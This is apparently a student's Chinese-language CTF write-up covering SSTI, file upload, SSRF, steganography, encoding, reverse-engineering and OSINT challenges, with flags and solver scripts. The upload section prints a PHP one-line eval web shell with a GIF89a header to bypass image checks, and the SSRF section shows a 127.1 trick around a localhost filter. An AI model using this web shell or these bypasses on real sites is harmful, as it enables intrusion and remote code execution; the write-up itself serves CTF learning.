[!quote] 学校:常州大学 姓名:王志锐 邮箱:c60253258 @163.com
CONTENT
[[#Web|Web]]
[[#Web#EZ_SSTI|EZ_SSTI]]
[[#Web#Ez_Upload|Ez_Upload]]
[[#Web#ezez_ssrf|ezez_ssrf]]
[[#MISC|MISC]]
[[#MISC#base64??|base64??]]
[[#MISC#叽里咕噜的在说什么呢|叽里咕噜的在说什么呢]]
[[#MISC#来签个到吧|来签个到吧]]
[[#Re|Re]]
[[#Re#checkin|checkin]]
[[#Re#ezzzzXor|ezzzzXor]]
[[#Osint|Osint]]
Web EZ_SSTI 根据提示,POST嘿7*7嘿时,得到回显49,证明有ssti 再利用嘿7*'7'嘿,发现有正常回显7777777,确定是jinjia2或者Twig模版 然后利用python调用os模块,查看根目录,找到有flag文件 最后cat出来即可flag{770f642e-bc34-47f5-9a5f-4535251534ef}
Ez_Upload 先试着上传一句话木马php文件
1 2 3 <?php @eval ($_POST ['shell' ]); ?>
上传后发现只允许上传图片文件,因此利用GIF文件头绕过
1 2 3 4 GIF89a; <?php @eval ($_POST ['shell' ]); ?>
访问文件存放地址,利用shell直接抓取flagflag{c8a476aa-cec5-4e0d-ab72-ac234ddeb7f2}
ezez_ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 ); highlight_file (__FILE__ ); $url = $_POST ['url' ] ?? null ; if ($url === null ) die ("访问本机 8080 端口试试" ); $url_parsed = parse_url ($url ); if ($url_parsed ['scheme' ] === 'http' || $url_parsed ['scheme' ] === 'https' ) { if (preg_match ("/localhost|0/i" , $url_parsed ["host" ])) { die ("不允许的主机地址" ); } $curl = curl_init ($url ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_FOLLOWLOCATION, 1 ); $result = curl_exec ($curl ); curl_close ($curl ); echo $result ; } else { die ('scheme不正确' ); }
分析php代码
POST一个url
不允许出现localhost和0的主机名访问
根据提示需要我们以8080端口访问 因此我们可以通过127.1绕过主机名过滤(原理:省略部分,默认以0填充) 再以本机8080端口访问即可得到flag
flag{2ff0d553-9acc-47e2-811f-f76a314b6cd7}
MISC base64?? 根据题目提示为LSB,题目是base64, 而且每行都以占位符=结尾一眼base64隐写啊,直接在线base64隐写网站解码
flag{wow!Go0d_j@b!!you_D1crypt@base}
叽里咕噜的在说什么呢 经典的锟斤拷错误,一般发生在几个有关中文编码方法互相转换出错,也是在线网站解码 由于是全角字符,要转换半角字符,但是flag不长啊,直接手打了flag{you_know_GBK@UTF8!}
来签个到吧 压缩包中的doc文档打不开,改为zip格式,用解压缩软件看,在docProps路径下找到gift 是flag的后段 re_Th1ft!} 在word\media路径下找到image1,其中有flag前段 flag{Ice1_Ma flag.txt中为中段 Gic_Fl@g_N0_M0 组合得到完整flag,为 flag{Ice1_MaGic_Fl@g_N0_M0re_Th1ft!}
Re checkin 发现是vbe后缀,查了一下是vbs的一种加密形式,利用在线网站反编译vbe文件为vbs文件 然后vscode看源代码,发现密文和密钥
1 2 3 targetCipher = "e5aa4f6bbafdb05d106a4911d9c18ff4e0de73f9d58c5a8e07c8764925105fe69855dfc3d24acb15557a45d4e7f12291" key = "secretkeyisheree"
分析密码验证过程,发现对原始flag依次进行了 ROT13 编码,PKCS7 填充,AES加密得到密文。由于本人真的是不会写这些算法的逆向脚本啊,只能ai帮写了😭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from Crypto.Cipher import AESimport binasciidef decrypt_flag (): target_cipher = "e5aa4f6bbafdb05d106a4911d9c18ff4e0de73f9d58c5a8e07c8764925105fe69855dfc3d24acb15557a45d4e7f12291" key = b"secretkeyisheree" cipher_bytes = binascii.unhexlify(target_cipher) print (f"密文字节长度: {len (cipher_bytes)} " ) cipher = AES.new(key, AES.MODE_ECB) try : decrypted = cipher.decrypt(cipher_bytes) print (f"解密后的原始数据(十六进制): {binascii.hexlify(decrypted).decode()} " ) print (f"解密后的文本: {decrypted} " ) last_byte = decrypted[-1 ] if 1 <= last_byte <= 16 : expected_padding = bytes ([last_byte] * last_byte) if decrypted[-last_byte:] == expected_padding: unpadded = decrypted[:-last_byte] print (f"去除填充后: {unpadded} " ) def rot13_decode (text_bytes ): result = [] for byte in text_bytes: char = chr (byte) if 'a' <= char <= 'z' : base = ord ('a' ) result.append(chr ((byte - base + 13 ) % 26 + base)) elif 'A' <= char <= 'Z' : base = ord ('A' ) result.append(chr ((byte - base + 13 ) % 26 + base)) else : result.append(char) return '' .join(result) rot13_text = unpadded.decode('ascii' , errors='ignore' ) print (f"ROT13文本: {rot13_text} " ) original = rot13_decode(unpadded) print (f"原始flag: {original} " ) return original except Exception as e: print (f"解密错误: {e} " ) return None if __name__ == "__main__" : decrypt_flag()
直接运行得到flag flag为 flag{D0_Y0U_KN0VV_V85?-7ry-@9a1n}
ezzzzXor die查壳,发现未加壳,ida查看,先shift+F12看看字符串,看到一个this is right flag 发现并没有藏flag,那还是老老实实分析main函数吧,F5看伪代码,这些都是有用代码 前面就是,接收用户输入,删掉末尾”\n”结束符,以输入字符串长度生成随机种子 接下来分析重点函数sub_140001000 这里就是核心算法了,对flag进行了xor运算后得到的结果与密文对比 由于rand是伪随机,所以当输入长度相同时,rand输出相同,所以查看密文长度确定 最后写逆向脚本,伪随机逆向依旧不会写😢,真要写可能要写很久,所以又让ai代写,ai才是真正的大手子orz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import ctypesimport structraw_data = [ 0x00000012 , 0xFFFFFFBD , 0xFFFFFFDB , 0x00000013 , 0xFFFFFFEE , 0x0000004E , 0x00000048 , 0xFFFFFFDD , 0xFFFFFF97 , 0x00000003 , 0xFFFFFF8C , 0xFFFFFFB9 , 0xFFFFFF89 , 0x00000062 , 0xFFFFFFFD , 0xFFFFFF92 , 0x00000011 , 0x00000073 , 0x00000009 , 0xFFFFFFAD , 0x00000064 , 0xFFFFFFDB , 0x00000042 , 0xFFFFFFAC ] target_ints = [] for val in raw_data: if val & 0x80000000 : signed_val = val - 0x100000000 else : signed_val = val target_ints.append(signed_val) length = len (target_ints) ctypes.cdll.msvcrt.srand(length) flag = "" for i in range (length): rand_val = ctypes.cdll.msvcrt.rand() char_val = target_ints[i] & 0xFF decrypted = char_val ^ (rand_val & 0xFF ) flag += chr (decrypted) print ("Flag:" , flag)
运行得到flag Flag: flag{x0r_1s_r3@11y_e@2y}
Osint 百度识图,找到类似的标志舞台双层圆盘 找到图片来源,发现服饰也完全符合 搜索相关信息,提交flagflag{2025_10_18_陈粒_南京_一粒十周年演唱会}